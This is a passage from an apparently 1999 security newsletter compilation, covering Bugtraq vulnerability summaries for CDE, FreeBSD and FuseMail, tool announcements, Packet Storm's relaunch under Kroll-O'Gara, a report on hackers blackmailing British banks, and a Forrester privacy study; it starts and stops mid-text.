6. FuseWare FuseMail POP Mail Buffer Overflow Vulnerability
BUGTRAQ ID: 634
Remote: Yes
Date Published: 1999-09-13
Relevant URL:
http://www.securityfocus.com/bid/634
Summary:
There is a buffer overflow in the FuseMail POP service (long USER,PASS)
that may allow an intruder to execute arbitrary code on the target server.
7. Multiple Vendor CDE dtaction Userflag Buffer Overflow Vulnerability
BUGTRAQ ID: 635
Remote: No
Date Published: 1999-09-13
Relevant URL:
http://www.securityfocus.com/bid/635
Summary:
Under some distributions of CDE Common Desktop Environment, the dtaction
program has a locally exploitable buffer overflow condition. dtaction is a
program which allows applications or shell scripts that otherwise are not
connected into the CDE development environment, to request that CDE
actions be performed. The buffer overflow condition exists in the argument
parsing code for the -u (user) function. Any information provided by the
user over 1024 bytes may overwrite the buffer and in return be exploited
by a malicious user.
8. Multiple Vendor CDE dtspcd Vulnerability
BUGTRAQ ID: 636
Remote: No
Date Published: 1999-09-13
Relevant URL:
http://www.securityfocus.com/bid/636
Summary:
This explanation is quoted from the initial post on this problem by Job De
Hass. This message is available in it's entirety in the 'Credit' section
of this vulnerability entry.
The CDE subprocess daemon /usr/dt/bin/dtspcd contains an insufficient
check on client credentials. The CDE subprocess daemon allows
cross-platform invocation of applications. In order to authenticate the
remote user, the daemon generates a filename which is to be created by the
client and then is verified by the daemon. When verifying the created
file, the daemon uses stat() instead of lstat() and is subsequently
vulnerable to a symlink attack. Further more the daemon seems to allow
empty usernames and then reverts to a publicly write-able directory
(/var/dt/tmp).
9. Multiple Vendor CDE ttsession Vulnerability
BUGTRAQ ID: 637
Remote: Yes
Date Published: 1999-09-13
Relevant URL:
http://www.securityfocus.com/bid/637
Summary:
Under some versions of CDE the ToolTalk session daemon ttsession does not
properly check client credentials. The insufficient credentials check can
lead to compromise of a system from both local and remote with the
credentials of the user running ttsession. Note that ttsession is not a
system daemon and may not be running all the time. It is normally started
as part of an X-session. Also client programs of ttsession may restart the
daemon if it can not be found running.
This explanation is quoted from the initial post on this problem by Job
De Hass. This message is available in it's entirety in the 'Credit'
section of this vulnerability entry.
10. Multiple Vendor CDE TT_SESSION Buffer Overflow Vulnerability
BUGTRAQ ID: 641
Remote: No
Date Published: 1999-09-13
Relevant BUGTRAQ:
http://www.securityfocus.com/bid/641
Summary:
The libtt.so shared library under certain versions of CDE handles a user
defined variable titled TT_SESSION. The code which handles this variable
does not place a restriction on it's size. At least one of the CDE
programs which rely on this variable do not have sufficient bounds
checking in place for this variable, this can result in a buffer overflow.
The program in question is dtsession. Due to the fact that dtsession is
running setuid root and does not remove the root privilege (at least as
tested on Solaris), the overflow can lead to local root compromise.
11. FreeBSD fts Library Buffer Overflow Vulnerability
BUGTRAQ ID: 644
Remote: No
Date Published: 1999-09-16
Relevant URL:
http://www.securityfocus.com/bid/644
Summary:
Within Libc and in particular in the fts library functions a buffer
overflow exists in certain FreeBSD installations. The fts routines are
used by programs which need to traverse the files system of the host. Any
series of startup scripts which do work within the file system may use
fts. However, this particular overflow is related to the security checking
scripts. The fts library functions had a buffer overflow in them where
which would lead to a core dump when periodic ran the security checking
scripts (or other scripts which traverse trees that can be controlled by
users). periodic(3) should limit core size to zero to disable core dumps
while it is executing commands, but does not do so. In addition, the
kernel should not follow symbolic links. All three of these problems
caused a situation where it was possible for an attacker could create or
overwrite an arbitrary file on the system with a moderate degree of
control of its contents to cause a problem. The vast majority of this
description was taken from the FreeBSD Advisory FreeBSD-SA-99:05 which is
available in it's entirety in the 'credits' section of this vulnerability
entry.
III. PATCH UPDATES 1999-09-11 to 1999-09-19
-------------------------------------------
This newsletter is somewhat spare on available patch information, however
if you follow the URL's provided for the BUGTRAQ vulnerability issues you
will find that most include patch information. Below is another update
from ProFTPD.
1. Vendor: ProFTP
Product: Proftpd
Patch Locations:
http://www.proftpd.org
ftp://ftp.tos.net/pub/proftpd
Vulnerability Patched: ProFTPD Remote Buffer Overflow
Bugtraq ID: 612
Relevant URL:
http://www.securityfocus.com/bid/612/
IV. INCIDENTS SUMMARY 1999-09-11 to 1999-09-19
-----------------------------------------------
1. Stray FIN packets...
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-08-29&msg=199908302049.PAA06229@duckdog.zweknu.org
V. VULN-DEV RESEARCH LIST SUMMARY 1999-09-11 to 1999-09-19
----------------------------------------------------------
1. Guestbook perl script (long) (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=82&date=1999-09-8&msg=37DDF0E3.EBE5ABFE@thievco.com
2. VULN-DEV Administrivia #2143
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=82&date=1999-09-1&msg=37D1A8D3.9D30DCFB@thievco.com
3. Administrivia #2685
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=82&date=1999-09-15&msg=37E14BFD.ED7E08E5@thievco.com
4. [Fwd: your guestbook]
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=82&date=1999-09-15&msg=37E13807.74F7C4D2@thievco.com
VI. SECURITY JOBS 1999-09-11 to 1999-09-19
-------------------------------------------
Seeking Position:
1. Contact: M Simkin <msimkin@primenet.com>
Qualifications:
http://www.securityfocus.com/templates/archive.pike?list=77&date=1999-09-8&msg=199909150422.VAA218782@smtp05.primenet.com
Date Posted: 09/14/99
Seeking Staff:
1. Nokia: SE Position Routing/Firewall/VPN
Reply to: Edward Gibbs <ed@iprg.nokia.com>
Position Requirements:
http://www.securityfocus.com/templates/archive.pike?list=77&date=1999-09-8&msg=19990913183626.14399.qmail@securityfocus.com
2. System Administrator - Unix - New York City
Reply to: Gould, Beau <beau@nyc-search.com>
Position Requirements:
http://www.securityfocus.com/templates/archive.pike?list=77&date=1999-09-8&msg=37DEC88D.75F7FBC0@nyc-search.com
3. Chief Security Officer #406
Reply to: Lori Sabat <lori@altaassociates.com>
Position Requirements:
http://www.securityfocus.com/templates/archive.pike?list=77&date=1999-09-15&msg=19990915145111.25367.qmail@securityfocus.com
4. Computer Systems Programmer
Reply to: Gould, Beau <beau@nyc-search.com>
Position Requirements:
http://www.securityfocus.com/templates/archive.pike?list=77&date=1999-09-15&msg=37E06D54.ED7B3D3E@nyc-search.com
5. Information Security Analyst
Reply to: Security Technology <security_technology@bigfoot.com>
Position Requirements:
http://www.securityfocus.com/templates/archive.pike?list=77&date=1999-09-15&msg=3.0.6.32.19990915172736.007bb2e0@mail.netzero.net
6. Information Security Engineer
Reply to: Security Technology <security_technology@bigfoot.com>
Position Requirements:
http://www.securityfocus.com/templates/archive.pike?list=77&date=1999-09-15&msg=3.0.6.32.19990915172640.007ba440@mail.netzero.net
7. Project Manager for the Information Security Group
Reply to: Security Technology <security_technology@bigfoot.com>
Position Requirements:
http://www.securityfocus.com/templates/archive.pike?list=77&date=1999-09-15&msg=3.0.6.32.19990915172533.007dbd40@mail.netzero.net
VII. SECURITY SURVEY
--------------------
The question for 1999-09-11 to 1999-09-19 was:
How adequate do you think your incident response and disaster recovery
procedures are?
The answers were:
16% / 10 votes Excellent -- we have defined our risks and are aware of what we need to do
33% / 20 votes OK -- we know what to do, even though it's not documented
33% / 20 votes Poor -- we have the basic ideas, we'll figure the rest out if anything ever happens
16% / 10 votes Pathetic -- we are dead if a single host gets compromised
VIII. SECURITY FOCUS EVENTS for 1999-08-29 to 1999-09-04
--------------------------------------------------------
1. New Features In Tools Section
Relevant URL:
http://www.securityfocus.com/templates/announcement.html?id=31
The tools section has been updated, and now offers two major new features.
Tools can now be sorted by platform, which will greatly streamline the
process of finding a tool that works for you. Also, if you have found or
written a tool that you think we should have, you can submit it to the
website through your browser.
IX. SECURITY FOCUS TOP 6 TOOLS
---------------------------------
1. Stack Shield 0.5 beta
by vendicator@usa.net
Relevant URL: http://www.angelfire.com/sk/stackshield
The new Stack Shield 0.5 beta has been released. It has the capability to
set the buffer size and the entry point. It can also exit on attacks and
disable the protection system when too much calls are executed.
2. rinetd (for Win9x/NT)
by Thomas Boutell <boutell@boutell.com>
Relevant URL: http://www.boutell.com/rinetd/
Redirects TCP connections from one IP address and port to another. rinetd
is a single-process server which handles any number of connections to the
address/port pairs specified in the rinetd.conf file. Since rinetd runs as
a single process using nonblocking I/O, it is able to redirect a large
number of connections without a severe impact on the machine. This makes
it practical to run TCP services on machines inside an IP masquerading
Firewall. Persistent connection. Source code included.
3. rinetd (for Unix)
by Thomas Boutell <boutell@boutell.com>
Relevant URL: http://www.securityfocus.com/data/tools/rinetd_tar.tar
Redirects TCP connections from one IP address and port to another. rinetd
is a single-process server which handles any number of connections to the
address/port pairs specified in the file /etc/rinetd.conf. Since rinetd
runs as a single process using nonblocking I/O, it is able to redirect a
large number of connections without a severe impact on the machine. This
makes it practical to run TCP services on machines inside an IP
masquerading Firewall.
4. Subotronic
by Robin Keir <robin@keir.net>
Relevant URL: http://www.securityfocus.com/data/tools/subotronic.zip
A visual traceroute and Whois program.
5. ShoWin
by Robin Keir <robin@keir.net>
Relevant URL: http://www.securityfocus.com/data/tools/showin.zip
Displays useful information about windows by dragging a cursor over them.
It will also display the hidden password editbox fields (text behind the
asterisks *****) and can enable windows that have been disabled and unhide
hidden windows.
6. Boping
by Robin Keir <robin@keir.net>
Relevant URL: http://www.securityfocus.com/data/tools/boping.zip
A scanner for the infamous Back Orifice program. This is many times faster
than the ping sweeper built in to the original client program. I have
included the ability to notify detected victims by sending them a BO
messagebox message directly from within the program. This is intended as a
vigilante tool to notify victims who unknowingly have the trojan on their
system.
X. SPONSOR INFORMATION - Tripwire Security
------------------------------------------
URL: http://www.tripwiresecurity.com/
This Newsletter was sponsored by Tripwire Security. Tripwire Security
Systems, Inc. (TSS) is a Portland-based software development company
specializing in system security and policy compliance applications. The
company is developing a family of Defense in Depth(SM) security solutions
based on its Tripwirefile integrity assessment technology. Tripwire's file
integrity assessment technology is the most fundamental component of any
Intrusion Detection system. Tripwire monitors all servers and clients on a
network, detecting and reporting any changes to critical system or data
files. Tripwire can absolutely, unequivocally determine if a protected
file has been altered in a way that violates the policy set by the
administrator. This ensures that any change, whether due to an external
intruder or internal misuse, will be identified and documented on a timely
basis. After an intrusion has been detected, Tripwire enables the system
administrator to quickly identify which systems have been compromised,
allowing the organization to get back to business.
Alfred Huger
VP of Operations
Security Focus
@HWA
08.0 PSS: Packet Storm Security comes "back" online
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Its back, minus Ken Williams, he is still listed on the contacts page but is no
longer actively involved in the production of the web site. The site can be
reached at http://packetstorm.securify.com PSS was aquired by Kroll O'Gara and
Securify when Ken was forced to shut down his site at Harvard under false
allegations and what can only be termed a smear campaign by JP (John Vranesvich)
of AntiOnline.com (http://www.antionline.com)
The site presents a reasonable interface and reports from the general public are
so far good regarding response from the people running the site. The site was
swamped within hours of its opening with 700,000 hits in the first 12 hrs and
nearly 1.2 million hits in 24 hrs. We hope they have sturdy servers. :)
Contacts for Packetstorm:
~~~~~~~~~~~~~~~~~~~~~~~~
Contacts
For secure communications, please use PGP. PGP keys and fingerprints are here.
matt@packetstorm.securify.com Matt Barrie - C in C
silvertn@packetstorm.securify.com Michael Silverton - Chief Propaganda Officer und Spammeister
jkwilli2@unity.ncsu.edu Ken Williams - C in C (retired: personal mail - no longer at Packet Storm)
dcdc@packetstorm.securify.com Dean Clayton Digital Creations - Graphic Design
webmaster@packetstorm.securify.com Web Master
submissions@packetstorm.securify.com File and news submissions and updates
help@packetstorm.securify.com Help?
security@packetstorm.securify.com Site security, emergencies
support@packetstorm.securify.com Support
comments@packetstorm.securify.com Got a comment?
abuse@packetstorm.securify.com REAL complaints handled here
exploits@packetstorm.securify.com Questions and comments about exploits and vulnerabilities
crypto@packetstorm.securify.com Crypto and stego questions and comments
admin@packetstorm.securify.com System Administrator
devnull@packetstorm.securify.com 98% of the mail winds up here
geekgirl@packetstorm.securify.com Geek Girl
bugboy@packetstorm.securify.com Bug Boy
cerberus@packetstorm.securify.com Packet Storm Slave
media@packetstorm.securify.com All press, media, interview requests
Press release:
~~~~~~~~~~~~~~
Wednesday September 22, 7:01 am Eastern Time
Company Press Release
SOURCE: Kroll-O'Gara Information Security Group
Kroll-O'Gara ISG Launches Packet Storm, the World's Largest Internet
Security Resource
PALO ALTO, Calif., Sept. 22 /PRNewswire/ -- Packet Storm, the world's largest Internet security resource, opened its Web site to the public today. A service of the
Kroll-O'Gara Information Security Group (ISG), Packet Storm is a massive repository of tools, advisories, patches, and solutions, consisting of over 45,000 security
related items. Packet Storm is recognized as the leading security destination on the net, averaging over 300,000 hits per day. Packet Storm is located at
http://packetstorm.securify.com .
Regular users of Packet Storm include international and domestic corporations, leading information technology companies, government, and law enforcement agencies.
Business and government IT managers consider Packet Storm the premier site for obtaining up-to-date information on the latest threats that face computer networks
and information systems.
``The goal of enterprise information protection is to identify and select appropriate safeguards to protect physical and financial resources, intellectual property,
employees, and other tangible and intangible assets. Therefore, it is imperative to stay up to date with the latest vulnerability data,'' stated Dr. Taher Elgamal, president of
Kroll-O'Gara ISG.
Packet Storm has a well-established reputation within the information security community as the best site for obtaining the latest security resources available on the net.
The site includes instant-access search filters for identifying up-to-the-minute updates and tools which enable IT managers to quickly find the solutions they need.
``Any company that builds enterprise-wide or e-commerce networks, that wishes to protect their existing networks, or has just been hacked, should come to Packet
Storm,'' said Matt Barrie, Packet Storm Program Manager.
Packet Storm is the world's largest Internet security resource, employing the industry standard Apache Web server with Network Flight Recorder, the most popular
intrusion detection and monitoring system, all running on FreeBSD, renowned for its superior network performance, security, and robustness. Packet Storm is at
http://packetstorm.securify.com .
About Kroll-O'Gara ISG, a subsidiary of the Kroll-O'Gara Company
(Nasdaq: KROG - news)
The Kroll-O'Gara Information Security Group is composed of highly regarded
industry experts that provide objective information security services to
businesses and government agencies. Services include network security review
and repair, product assessment, design and implementation of secure
architectures for e-commerce sites. Kroll-O'Gara ISG is unique in the
security field because it not only provides assessments and recommendations,
but also manages implementation and deployment. For information, visit their
Web site at www.kroll-ogara.com.
About the Kroll-O'Gara Company
The Kroll-O'Gara Company (KROG) is a leading global provider of a broad range of specialized products and services designed to supply solutions to a variety of
security needs. Kroll-O'Gara provides governments, businesses and individuals with information, analysis, training, advice and products to mitigate the growing risks
associated with fraud, electronic threats, physical threats and uninformed decisions based upon incomplete or inaccurate information. The Company is organized into
three primary business groups: Investigations & Intelligence Group, Security Products & Services Group and Information Security Group. Kroll-O'Gara employs more
than 2,600 people in over 60 offices and plants around the world. For information, visit their Web site at www.kroll-ogara.com.
SOURCE: Kroll-O'Gara Information Security Group
FreshMeat announcement:
~~~~~~~~~~~~~~~~~~~~~~
Packet Storm back online
scoop - September 23rd 1999, 19:12 EST
After being shut down on July 1st due to a lawsuit threat to Harvard University, the Packet Storm Internet Security
Resource is back online. Packet Storm (which has been acquired by Securify aka Kroll-O'Gara in the meantime)
provides users with up-to-date information on the latest threats that face corporate networks and computer
systems.
Kroll-O'Gara ISG launches Packet Storm, the world's largest Internet Security Resource
PALO ALTO, Calif., September 21, 1999 Packet Storm, the world's largest Internet security resource, opened its
web site to the public today. A service of the Kroll-O'Gara Information Security Group (ISG), Packet Storm is a
massive repository of tools, advisories, patches, and solutions, consisting of over 45,000 security related items.
Packet Storm is recognized as the leading security destination on the net, averaging over 300,000 hits per day.
Packet Storm is located at packetstorm.securify.com.
Regular users of Packet Storm include international and domestic corporations, leading information technology
companies, government, and law enforcement agencies. Business and government IT managers consider Packet
Storm the premier site for obtaining up-to-date information on the latest threats that face computer networks and
information systems.
"The goal of enterprise information protection is to identify and select appropriate safeguards to protect physical
and financial resources, intellectual property, employees, and other tangible and intangible assets. Therefore, it is
imperative to stay up to date with the latest vulnerability data," stated Dr. Taher Elgamal, president of
Kroll-O'Gara ISG.
Packet Storm has a well-established reputation within the information security community as the best site for
obtaining the latest security resources available on the net. The site includes instant-access search filters for
identifying up-to-the-minute updates and tools which enable IT managers to quickly find the solutions they need.
"Any company that builds enterprise-wide or e-commerce networks, that wishes to protect their existing networks,
or has just been hacked, should come to Packet Storm," said Matt Barrie, Packet Storm Program Manager.
Packet Storm is the world's largest Internet security resource, employing the industry standard Apache web server
with Network Flight Recorder, the most popular intrusion detection and monitoring system, all running on FreeBSD,
renowned for its superior network performance, security, and robustness. Packet Storm is at
packetstorm.securify.com
About Kroll-O'Gara ISG, a subsidiary of the Kroll-O'Gara Company (KROG)
The Kroll-O'Gara Information Security Group is composed of highly regarded industry experts that provide objective
information security services to businesses and government agencies. Services include network security review and
repair, product assessment, design and implementation of secure architectures for e-commerce sites. Kroll-O'Gara
ISG is unique in the security field because it not only provides assessments and recommendations, but also
manages implementation and deployment. For information, visit their web site at www.kroll-ogara.com.
About the Kroll-O'Gara Company
The Kroll-O'Gara Company (KROG) is a leading global provider of a broad range of specialized products and services
designed to supply solutions to a variety of security needs. Kroll-O'Gara provides governments, businesses and
individuals with information, analysis, training, advice and products to mitigate the growing risks associated with
fraud, electronic threats, physical threats and uninformed decisions based upon incomplete or inaccurate
information.
The Company is organized into three primary business groups: Investigations & Intelligence Group, Security
Products & Services Group and Information Security Group. Kroll-O'Gara employs more than 2,600 people in over 60
offices and plants around the world. For information, visit their web site at www.kroll-ogara.com.
Q & A with Packetstorm maintainer Matt Barrie
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Q & A with Packetstorm maintainer Matt Barrie
By xix on September 11th, 1999
Matt Barrie has taken over the reigns of the Packetstorm security archives. The archive is the
largest freeware security archive on the net and was taken down and displaced due to legal issues
between the hacker site Antionline and the former maintainer/owner of Packetstorm Ken Williams.
Please give us some background information about you Matt.
Currently I am the maintainer of Packet Storm, though it still hasn't been determined whether not I
will continue to be long term. We're rapidly growing the Packet Storm team, so who knows what
things will look like in a few months.
To tell you a few things about myself, I run the Network & Systems Assessment Practice Area,
which is part of the consulting group at Kroll-O'Gara ISG; in that group we do things like Penetration
Testing, Incident Response, Physical Security, and obviously, Network Assessment. My clients are
mostly Fortune 500-type companies and are from all over the world.
Before this for a couple of years I ran a company doing similar things in Australia, called Infilsec Pty.
Limited.
Are all the archives of former Packetstorm intact?
Almost entirely. We have, as part of a general cleanup of the site, removed an insignificant amount
of information that didn't really fit in with the site's focus on Information Security.
There may be one or two sections, though, which may not be ready in time for the site launch,
such as the massive cryptography archive. Naturally, we need to make sure that we've taken all
the proper steps to ensure that we're doing everything by the book.
What new features will we see from the new site?
The site will retain the same focus and vision that Ken Williams had when he was maintaining it;
only it will be bigger & better. We're overhauling the site, touching it up a little and making it a bit
simpler to navigate and use. We'll be using Apache running on FreeBSD in our web farm, and will be
watching all the interesting things that'll be going on with NFR and a couple more toys we have
here. Of course, this will all be an on-going thing. We're also streamlining some of its operation.
Tell us about Kroll-O'Gara and their involvement.
Packet Storm is part of the Information Security Group at Kroll-O'Gara. Kroll-O'Gara is the world's
leading risk mitigation company (NASDAQ:KROG). Kroll-O'Gara is divided into three groups; Risk
Control Services (RCS), who do everything from forensic accounting, business & investigations
intelligence, to asset tracing and surveillance; the Security Products and Services Group (SPSG)
who do, amongst other things, armouring of commercial and military vehicles; and the Information
Security Group (ISG) - us. We provide information security services related to Network Architecture
& Design, e-Commerce, Policy, Product Assessment, PKI, and Network & Systems Assessment.
Can we expect Packetstorm to continue to be the largest security archive on the net?
Definately! Ken found that as the site grew, it got to the point that he was running out of hours in
the week. Even forgoing food and sleep, there's only 168. With the resources & staffing we're
committing to the site, we'll be able to maintain Packet Storm as #1 for security resources.
We've recommended that Ken take a well earned rest, go jump in that Camaro SS and go on a
holiday to a remote beach somewhere and try to get a tan that isn't generate by electron beams.
Of course, knowing Ken he's still working :)
What do you think of the SecurityFocus.com website and what they have done?
I think they've got an excellent site, and it's great to see more places starting up devoted to
Information Security. With Bugtraq now being run from there, with its explosive growth in
readership, SecurityFocus is going to be fostering a first rate security community.
I have noticed over the years that many more exploits and fixes are found for *nix based
operating systems, what would you say the percentage of Packetstorm archives consist
of...more for nix system or more for window systems?
Just because more vulnerabilities are found in a particular operating system doesn't mean that it's
worse. In fact- far from the case. More bugs tend to be reported for UNIX because of the mostly
open nature of its source, full-disclosure mailing lists, and so on. This all helps to make UNIX an
extremely stable and well-written platform. With the source code to Windows being proprietary, and
Microsoft not being exactly willing to expose Window's internal workings, it makes it that much
harder for the security community to find and help fix bugs. As a result, who knows what the true
qualitative difference is between the two platforms with respect to bugs. A couple of years ago
there was all this talk about "Is UNIX dead?" with NT out and having relatively few bugs being
reported. But now people have started reverse engineering the internals of the operating system
and I'm amazed by some of the sorts of crazy things that are being found.
How do you feel about Redhat's success, do you think it will fragment the Linux community?
I think any success for Linux in entering the mainstream is a good thing. It's about time we had
cheap, industrial strength OS alternatives. Now that the more traditional vendors are putting their
support behind companies like RedHat; investing in them, shipping their Linux distributions out of the
box, and so on, it has really become accepted as a serious alternative to using Windows or more
expensive distributions of UNIX.
Do you expect to see a lot of problems submitted from the upcoming Windows2000
operating system?
What do you think? :)
Will you continue to carry directories about AntiOnline and HappyHappy hacker
information?
Well I suspect you're trolling about that one. We understand that in the past that Ken and
AntiOnline etc. have had their differences. As new owners of the site we don't wish to partake in
any of this. If they provide useful information about Information Security, we'd be more than happy
to add it to our archive.
Will there be an elaborate web page front end for the new Packetstorm or strictly similiar to
the older one focusing on the archives only?
You'll have to wait and see :)
We plan on having the site up September 22, if all goes to plan with the co-location facility.
Thanks for the opportunity to talk to you about Packet Storm. We're determined to maintain it as
the world's largest resource for Internet Security Solutions. Of course, this would be impossible
without the valuable support of the security community; hackers, engineers, programmers, vendors,
admins and geeks alike!
"Windows 95: 32-bit extensions and a graphical shell for a 16-bit patch to an 8-bit operating system originally coded
for a 4-bit microprocessor, written by a 2-bit company that can't stand for 1 bit of competition." - Unknown
Got shares yet??
~~~~~~~~~~~~~~~~
Stock of the Day
Sep 10, 1999
Kroll-O'Gara: Bullets Fly, But the Shares Should Come Back to Life
by Bob Hirschfeld 9/10/99
Back in 1997, Jules Kroll and Thomas O'Gara decided to join forces.
Kroll had a great deal of admiration for O'Gara's armored limousine business. And O'Gara thought highly of Kroll's lucrative business
of providing security for corporate executives.
Since then, the combined entity, Kroll-O'Gara (NASDAQ:KROG - news) has posted heady growth in sales and profits. In its most recent quarter alone, sales rose by
29% to $76.5 million, fueling a 43% jump in profits, to $5.3 million. A 6% increase in gross margins gets the credit for the outsized profit gain.
Investors, though, have not been too enamored with the union. For shares of Kroll-O'Gara fell nearly 60% to $17.50, before recovering somewhat to a recent $22.94.
Rumors of a power struggle between O'Gara and Kroll have led some to conclude that the company is headed for a break-up.
Hogwash, says Warburg Dillon Read's Tom O'Halloran. He says that no dispute currently exists between the leaders and the shares have been penalized unfairly.
As time passes, and the management team remains intact, investors should refocus their sights on the company's strong growth prospects, much of which is fueled by a
spate of recent acquisitions. The company has added 17 security-related companies over the past two years, and five this year alone.
Those deals have helped the company flesh out its product lines in its two main divisions: Investigations & Intelligence (which comprised 60% of second quarter
revenue), and Security Products & Services (38%) and principally known for its armored vehicles).
Continuing its acquisition skein, on June 3, the company spent $20 million to buy Buchler Phillips, a U.K. firm that helps financially troubled companies to restructure.
The purchase represents an extension of Kroll-O'Gara's risk-management business to financial services. The thinking here is that companies beset by fraud may be
headed toward bankruptcy. If so, they require the kinds of restructuring services offered by Buchler Phillips, which helps companies restructure following "these kinds of
incidents," according to O'Gara.
In a more recent acquisition, Kroll purchased Packet Storm Security, a company that provides users with computer security threat information and offers an Internet site
that will help customers obtain information to ensure that their networks are secure. The acquisition builds upon earlier computer security services acquisitions, and
expands the company's Internet presence.
O'Halloran, in analyzing the second quarter, applauded the strong revenue growth of 26%, which exceeded his 21% estimate, though he was a bit concerned that
operating expenses fetched a larger share of revenue than they did a year ago.
The analyst kept unchanged his 1999 and 2000 per-share estimates of $1.17 and $1.55. However, he expects third and fourth quarter growth rates to improve, given
new Investigation & Intelligence businesses, new government contracts, and lower selling, general and administrative expenses as a percent of revenue.
Of note is the fact that the company's military products (such as its up-armored HumVee, which has seen duty in Bosnia), enjoy a backlog of roughly $27 million. With
commercial backlog at about $20 million, at least 25% of second half revenue can be considered secure.
O' Halloran notes that shares currently trade at about 12 times his 2000 earnings estimate, less than half the projected growth rate. O'Halloran forecasts EPS to increase
50% in 1999 and 32% in 2000.
The analyst claims that, given the company's growth record, shares deserve a 25 multiple.
Bottom Line:
Using the analyst's 2000 forecast of $1.55, that establishes a target of $39 on shares, a 70% premium to current share prices.
@HWA
09.0 British Banks Suffer Blackmail Attempts
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com
contributed by dis-crete
The London Times reports that British banks are being
blackmailed by "hackers" who have penetrated
computers. It reported that ransoms of hundreds of
thousands of pounds have been demanded from several
different banks. It is hard to weed out the verifiable
facts from the rumor and innuendo in this article. It
would seem that blackmail threats are rather common in
the EU but the article doesn't seem to mention if these
were more than just threats.
The Sunday London Times
http://www.the-times.co.uk/news/pages/sti/99/09/19/stinwenws01021.html?999
Hackers hold City banks to
ransom
Jon Ungoed-Thomas and Maeve Sheehan
BRITISH banks are being blackmailed by hackers who
penetrate their security systems and threaten to cripple their
computers or publish stolen files, a Sunday Times investigation
has found.
Ransoms of hundreds of thousands of pounds are being
demanded by the hackers and one European bank has
admitted it was a victim of the racket. City investigators say at
least two London financial institutions have paid out ransoms
totalling more than �1m.
The blackmail threats underline the dangers posed by
criminals who "crack" computer security systems. GCHQ, the
government's electronic surveillance centre in Cheltenham, is
so concerned by the threat that it is to help key companies
safeguard themselves.
About 30 international banks have admitted serious security
attacks on their networks last year. Trading, accounting and
communication departments are among those that have been
"ransacked" at a cost of more than �5m.
One German bank, Noris Verbraucherbank, was targeted by a
hacker who claimed he had raided customer accounts and
stolen bank access codes. Executives offered a reward for his
capture in January last year after he demanded a �300,000
ransom.
City investigators claim the case is not an isolated one. "There
have been a number of cases in the UK where hackers have
threatened to shut down the trading floors in financial
institutions," said Mark Rasch, a former attorney for computer
crime at the United States justice department. "The three I
know of [in London] happened in the space of three months
last year one after the other." Rasch now works as a legal
counsel for Global Integrity, a computer security company.
"There was the same pattern - a high ransom for millions was
initially demanded, but then it started to come down. In one
case, the trading floor was shut down and a ransom paid." In
another incident last year, an extortionist threatened to publish
the stolen client database of a London financial institution
unless he was paid a �1m ransom.
Executives called in private investigators, but settled the
ransom rather than risk confidential company information
being published on the internet.
A survey by Global Integrity of 50 of the world's largest banks
has revealed that more than half suffered one significant
network attack last year. While the most adept hackers - such
as Vladimir Levin, the Russian graduate who transferred more
than �6m from Citibank in New York after logging on the
network from a laptop in Moscow - will seek to steal funds, it
is easier to steal information or disable systems.
Corrupt employees are responsible for the vast majority of
extortion attempts, but external hackers regularly probe bank
security systems. The International Chamber of Commerce
(ICC), which is shortly to launch a dedicated cyber crime unit
to advise members on the threat, last week confirmed it had
received several reports of attempted extortion but was unable
to release any figures. It is one of several computer crime
issues that will be addressed at an ICC conference on cyber
crime in December.
"We have had cases of extortion and the matter has been
investigated internally and the threat removed," said Pottengal
Mukundan, director of commercial crime services at ICC. "I
don't think you will find there are many companies which
admit to having a problem."
Edward Wilding, director of computer forensics at Maxima
Group, said his firm investigates about four cases of attempted
cyber extortion a year for multinationals and financial
institutions. "Computer extortion is not rife, but we do get
called to assist in incidents where extortionists have attempted
to extract money by the use of encryption and where
databases of sensitive information have been stolen," he said.
Companies which are worried about hackers can get advice
from the Communications Electronics Security Group, a
branch of GCHQ. From next month, it is offering to inspect
sensitive computer systems of key companies.
Additional reporting: Jessica Berry
@HWA
10.0 You Have No Privacy On The Net
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
As HNN's privacy statement says in its title;
"You have zero privacy anyway, Get over it."
From HNN http://www.hackernews.com
contributed by Weld Pond
A new report recently released by Forrester Research,
Inc., claims that 90 percent of Web sites fail to comply
with basic privacy principles. This reports is 180 degree
turn from what the FTC has told congress, that industry
self-policing is working.
E Commerce Times
http://www.ecommercetimes.com/news/articles/990916-3.shtml
Forrester Research, Inc
http://www.forrester.com/
HNN Privacy Statement - Read It and Judge for Yourself
http://www.hackernews.com/misc/privacy.html
E Commerce Times;
Report Labels Internet Privacy
Policies 'A Joke'
By Chet Dembeck
E-Commerce Times
September 16, 1999
According to a new report from Forrester Research, Inc., 90
percent of Web sites fail to comply with basic privacy principles.
The report vehemently contradicts the findings of the Federal
Trade Commission, which recently told Congress that industry
self-policing is working.
Forrester feels that "most privacy policies are a joke." It added that the vast
majority of such policies, like those of the Gap, Macy's and JC Penney, use vague
terms and legalese that serve to protect companies and not individuals.
Few Follow Fair Information Guidelines
In addition, the report finds that just 10 percent of e-commerce sites adequately
address the basic fair information guidelines that were established by the
government and industry to protect privacy. The recent security breach of
Microsoft's Hotmail and the unintended profile usage in Amazon.com's "Purchase
Circles" underscore the problem.
Third-party Privacy Programs Not Being Used
Seal programs such as TRUSTe and BBBOnline have gained little traction, the report
says. Truste has only 500 licensees and BBBOnline, which provides consumer
complaint resolutions, has only 42.
Forrester adds that while e-tailers barely comply with weak privacy policies, new
technology is enabling them to "collect, dissect and use even more personal
visitor-behavioral data."
Interactive Tools Become Digital Wiretappers
According the report, clever interactive tools such as Reel.com's Mood Matcher --
which helps customers find movies based on their moods -- and PlanetRx's
personalized prescription filler make it possible for companies to collect "highly
intrusive psychographic data that individuals would rarely provide on a standard
registration form."
In addition, Forrester said that there is growing industry pressure to share such
data with "partners." It reports that DoubleClick and BEFree already provide services
such as advertising networks and affiliate programs across multiple sites. The report
also indicates that there is an alarming trend among e-tailers to incorporate artificial
intelligence tools into their storefronts -- the same kind of tools used by
government intelligence communities to covertly gather information.
Recommends FTC Take A Stronger Stand
Forrester concludes that without forceful action by the FTC, the privacy issue could
